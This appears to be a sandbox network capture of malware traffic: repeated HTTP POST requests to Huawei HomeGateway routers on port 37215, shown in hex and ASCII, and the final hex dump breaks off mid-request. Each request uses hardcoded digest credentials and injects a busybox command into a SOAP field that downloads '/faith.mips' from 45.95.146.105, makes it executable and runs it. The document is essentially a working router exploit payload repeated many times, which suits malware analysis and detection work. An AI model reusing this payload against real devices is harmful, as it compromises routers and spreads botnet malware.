Dec 30, 2023 07:15:51.452991009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:56.056452990 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:05.271137953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:24.472409964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:01.327373028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	40956	94.120.20.18	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:47.300043106 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:48.765398026 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:50.457149029 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:54.008663893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:00.919694901 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 